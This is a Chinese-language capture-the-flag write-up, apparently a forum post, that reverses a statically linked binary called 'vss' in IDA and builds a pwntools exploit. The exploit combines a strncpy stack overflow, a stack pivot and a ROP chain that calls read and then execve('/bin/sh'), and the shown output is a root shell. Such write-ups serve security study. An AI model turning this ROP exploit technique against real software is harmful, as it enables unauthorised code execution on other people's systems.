https://bbs.ichunqiu.com/thread-42534-1-1.html
ida打开
__int64 sub_4011B1()
{
char v1; // [sp+0h] [bp-400h]@1
sub_4374E0(10LL);
sub_4089E0(off_6C4790, 0LL);
sub_408800("VSS:Very Secure System");
sub_408800("Password:");
sub_437EA0(0LL, &v1, 1024LL);
if ( (unsigned int)sub_40108E((__int64)&v1) )
sub_408800("Logined");
else
sub_408800("Access Deny");
return 0LL;
}
第一个调用,根据rax的值,sub_4374E0使用了调用号是0x25的syscall,且F5的结果该函数接收一个参数,应该是alarm
.text:00000000004374E0 sub_4374E0 proc near ; CODE XREF: sub_4011B1+10p
.text:00000000004374E0 000 mov eax, 25h
.text:00000000004374E5 000 syscall
.text:00000000004374E7 000 cmp rax, 0FFFFFFFFFFFFF001h
.text:00000000004374ED 000 jnb loc_43C550
.text:00000000004374F3 000 retn
.text:00000000004374F3 sub_4374E0 endp
而sub_408800这个函数,是猜测出来的,puts函数
0x437EA0函数如下,通过syscall前面的eax, 0
,且接收三个参数,推测为read
.text:0000000000437EA0 sub_437EA0 proc near ; CODE XREF: sub_40108E+F9p
.text:0000000000437EA0 ; sub_4011B1+51p ...
.text:0000000000437EA0 000 cmp cs:dword_6C7EFC, 0
.text:0000000000437EA7 000 jnz short sub_437EBD
.text:0000000000437EA7 sub_437EA0 endp ; sp-analysis failed
.text:0000000000437EA7
.text:0000000000437EA9
.text:0000000000437EA9 ; =============== S U B R O U T I N E =======================================
.text:0000000000437EA9
.text:0000000000437EA9
.text:0000000000437EA9 sub_437EA9 proc near ; CODE XREF: sub_400401+88p
.text:0000000000437EA9 ; sub_401240+2B8p ...
.text:0000000000437EA9 000 mov eax, 0
.text:0000000000437EAE 000 syscall
.text:0000000000437EB0 000 cmp rax, 0FFFFFFFFFFFFF001h
.text:0000000000437EB6 000 jnb loc_43C550
.text:0000000000437EBC 000 retn
.text:0000000000437EBC sub_437EA9 endp
.text:0000000000437EBC
.text:0000000000437EBD
.text:0000000000437EBD ; =============== S U B R O U T I N E =======================================
.text:0000000000437EBD
.text:0000000000437EBD
.text:0000000000437EBD sub_437EBD proc near ; CODE XREF: sub_437EA0+7j
.text:0000000000437EBD
.text:0000000000437EBD var_8 = qword ptr -8
.text:0000000000437EBD
.text:0000000000437EBD 000 sub rsp, 8
.text:0000000000437EC1 008 call sub_43AE30
.text:0000000000437EC6 008 mov [rsp+8+var_8], rax
.text:0000000000437ECA 008 mov eax, 0
.text:0000000000437ECF 008 syscall
通过debug我们很容易发现被修改的EIP是通过strncpy复制到输入前面的0x50个字节的最后8个。由于没有libc,one gadget RCE使不出来,且使用了strncpy,字符串里不能有\x00,否则会被当做字符串截断从而无法复制满0x50字节制造可控溢出,这就意味着任何地址都不能被写在前0x48个字节中。在这种情况下我们就需要通过修改esp来完成漏洞利用。
最终的exp
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.update(arch = 'amd64', os = 'linux', timeout = 1)
io = process('./vss')
payload = ""
payload += p64(0x6161616161617970) #头两位为py,过检测 原本esp的位置
payload += 'a'*64 #padding
payload += p64(0x46f205) #add esp, 0x58; ret 这个是return address,将esp增加了0x58
payload += 'a'*8 #padding
payload += p64(0x43ae29) #pop rdx; pop rsi; ret 为sys_read设置参数 增加了0x58之后esp,从这里开始构造ROP
payload +=p64(0x8) #rdx = 8
payload += p64(0x6c7079) #rsi = 0x6c7079
payload += p64(0x401823) #pop rdi; ret 为sys_read设置参数
payload += p64(0x0) #rdi = 0
payload += p64(0x437ea9) #mov rax, 0; syscall 调用sys_read
payload += p64(0x46f208) #pop rax; ret
payload += p64(59) #rax = 0x3b
payload += p64(0x43ae29) #pop rdx; pop rsi; ret 为sys_execve设置参数
payload += p64(0x0) #rdx = 0
payload += p64(0x0) #rsi = 0
payload += p64(0x401823) #pop rdi; ret 为sys_execve设置参数
payload += p64(0x6c7079) #rdi = 0x6c7079
payload += p64(0x437eae) #syscall
print io.recv()
io.send(payload)
sleep(0.1) #等待程序执行,防止出错
io.send('/bin/sh\x00')
io.interactive()
结果
python exp.py
[+] Starting local process './vss': pid 14833
VSS:Very Secure System
Password:
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)